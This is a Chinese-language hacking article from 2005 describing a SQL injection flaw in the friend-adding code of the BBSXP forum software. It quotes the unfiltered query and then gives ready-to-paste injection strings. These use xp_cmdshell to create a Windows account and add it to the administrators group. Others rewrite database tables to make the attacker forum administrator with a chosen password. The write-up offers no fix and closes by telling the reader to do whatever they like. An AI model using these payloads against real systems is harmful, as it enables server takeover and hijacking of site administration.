http://www.infosecurity.org.cn/hack...exp/exploit.php
BBSXP又有新漏洞《探索bbsxp sql版的漏洞》
时间:2005-01-10
来源:不详
漏洞描述:
相信大家都听过bbsxp吧,它是一款网上流行的论坛程序,我就不多作介绍了。这次我检测的是它的sql版,没过多久果然就发现了问题了 我们利用它可以掌握整个论坛的生杀大权,如果管理员sql服务器配置不当的话,甚至可以攻占整个服务器。
.............................................................................................................
漏洞分析:
这个漏洞主要出在friend.asp这个文件,让我们来看一下有问题的部分源码,下面是用户添加好友的程序:
sub add
if Request("username")="" then
error2("请输入您要添加的好友名字!")
end if
if Request("username")=Request.Cookies("username") then
error2("不能添加自己!")
end if
if conn.execute("Select count(id)from [user] where username="&Request("username")&"")(0)=0 then
error2("数据库不存在此用户的资料!")
end if
只要求好友的名字不为空和不能添加自己,并没有过滤特殊符号,其实这个不能添加自己的限制也是能绕过的,不过也没什么用
。
.....................................................................................................................
利用方法:
注册随便注册一个用户,这里我注册的是pinkeyes,好,转到个人控制面板,添加一个论坛存在的人为好友,这里我选的人是king,
选择添加好友按钮,这时会弹出一个输入框,在里面输入:
king ;exec master.dbo.xp_cmdshell net user pinkeyes pinkeyes /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
添加了一个名为pinkeyes,密码为pinkeyes的账户。
.....................................................................................................................
再来: king ;exec master.dbo.xp_cmdshell net localgroup administrators pinkeyes /add;--
把pinkeyes加到管理员用户组中。下面的事就不用我说了吧!
注意:如果连接数据库的账号没有权限的话或管理员删除了master.dbo.xp_cmdshell这个存储过程的话是不会成功.但是你可以对这个数据库做
任何事。
..........................................................................................................................
如果不能添加账户也没关系,也阻挡不了我前进的步伐。好,下面我来讲一下利用方法:
仍然是添加好友,输入:
king ;update [user] set membercode=5,levelname=社区区长 where username=pinkeyes --
把pinkeyes提升为社区区长,前台工作。
再来输入:
king;update clubconfig set administrators=│pinkeyes│,adminpassword=pinkeyes --
把后台管理员设为pinkeyes,密码也为pinkeyes
ok,现在你是管理员了,要干什么就干什么吧!